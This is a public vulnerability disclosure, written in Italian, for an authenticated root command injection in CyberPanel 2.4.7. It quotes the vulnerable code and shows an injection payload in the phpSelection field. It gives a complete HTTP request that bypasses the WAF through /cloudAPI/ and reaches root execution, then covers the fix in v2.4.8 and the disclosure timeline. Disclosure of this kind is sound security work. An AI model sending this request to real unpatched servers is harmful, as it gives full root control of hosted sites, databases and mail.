
CVE-2026-78818 - CyberPanel <= 2.4.7 RCE root autenticato tramite command injection in phpSelection + bypass del WAF di cloudAPI
phpSelection + bypass del WAF cloudAPICVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H (PR:H, poiché lo sfruttamento richiede credenziali API di livello amministrativo)CyberPanel v2.4.7 e versioni precedenti contiene una vulnerabilità di command injection del sistema operativo in changePHP()
(websiteFunctions/website.py). Il parametro phpSelection viene interpolato direttamente in un
comando shell eseguito come root, senza alcuna validazione o sanificazione.
Il WAF integrato blocca questa vulnerabilità sull'endpoint standard (/websites/changePHP), ma
l'endpoint /cloudAPI/ applica un set di regole più debole che non filtra il carattere apice singolo —
offrendo un percorso di sfruttamento completo con una singola richiesta HTTP fino all'esecuzione di comandi come root.
Confermato su un VPS CyberPanel 2.4.7 attivo: uid=0(root) gid=0(root) groups=0(root)
websiteFunctions/website.py, intorno alla riga 4177:
phpVersion = data['phpSelection'] # no validation
execPath += " changePHP --phpVersion '" + phpVersion + "' --path " + confPath
ProcessUtilities.popenExecutioner(execPath) # subprocess.call(shell=True) as root
Chiudendo l'apice singolo e iniettando un comando in background:
Input: php74' & id > /tmp/pwned & echo '
Result: --phpVersion 'php74' & id > /tmp/pwned & echo '' --path /conf/vhost.conf
CyberCP/secMiddleware.py)Qualsiasi percorso contenente cloudAPI viene trattato come endpoint API. La blocklist standard include
' e &. La blocklist API omette entrambi — rendendo POST /cloudAPI/ un bypass diretto verso la stessa
funzione vulnerabile.
Autenticazione: Authorization: Basic SHA256("user:pass") — l'accesso API è abilitato per impostazione predefinita per
l'account admin, quindi non è richiesta alcuna configurazione speciale del target.
Richiesta:
POST /cloudAPI/ HTTP/1.1
Host: TARGET:8090
Content-Type: application/json
Authorization: Basic <SHA256(user:pass)>
{"serverUserName":"admin","controller":"changePHP","childDomain":"testdomain.com","phpSelection":"php74' & id > /tmp/burp_test.txt & echo '"}
Burp Suite — richiesta e risposta in tempo reale:

Verifica lato server (cat /tmp/burp_test.txt):

Risultato: uid=0(root) gid=0(root) groups=0(root)
Esecuzione completa di comandi come root sul server CyberPanel. Un utente autenticato con privilegi di amministratore può leggere/scrivere qualsiasi file, installare backdoor persistenti e compromettere completamente tutti i siti web ospitati, i database e la posta. L'accesso API è abilitato per impostazione predefinita — non è richiesta alcuna configurazione speciale del target.
Risolto in CyberPanel v2.4.8, commit
32897e92d5c4b5c1b6229c24a8aabac22a39ea7a
("Merge v2.4.8 into stable (security fixes: GHSA-p9j3-wrpf-p6w3 + audit)"). Il parametro phpVersion
ora viene sanitizzato con shlex.quote() in websiteFunctions/website.py.
Gli utenti devono aggiornare immediatamente a CyberPanel 2.4.8 o versione successiva.
| Data | Evento |
|---|---|
| 2026-05-28 | Vulnerabilità segnalata privatamente al fornitore tramite bozza di GitHub Security Advisory (GHSA-p9j3-wrpf-p6w3) |
| 2026-06-08 | Sollecito: nessuna risposta in 2 settimane, richiesta di conferma di ricezione |
| 2026-06-12 | Confermato che il commit di correzione del fornitore (32897e9) risolve il problema; richiesta di pubblicazione dell'advisory + richiesta CVE |
| 2026-06-15 | Richiesta CVE inviata autonomamente a MITRE CNA-LR (richiesta 2055765) |
| 2026-08-13 | Sollecito: "qual è la situazione?" |
| 2026-09-03 | CVE-2026-78818 assegnato da MITRE; fornitore notificato e nuovamente invitato a pubblicare l'advisory |
| 2026-11-04 | Nessuna risposta dal fornitore in nessun momento. Divulgazione pubblica pubblicata qui dopo circa 5,5 mesi di silenzio, in linea con le norme standard di divulgazione coordinata (soglia standard di 90 giorni ampiamente superata). La correzione è disponibile in v2.4.8 per tutta la durata. |
Nessun commento, conferma di ricezione o risposta è mai stato ricevuto dal fornitore (usmannasir) durante
l'intera finestra di divulgazione, nonostante quattro solleciti separati nel thread dell'advisory.
Scoperta e segnalata da @ammarkrblt.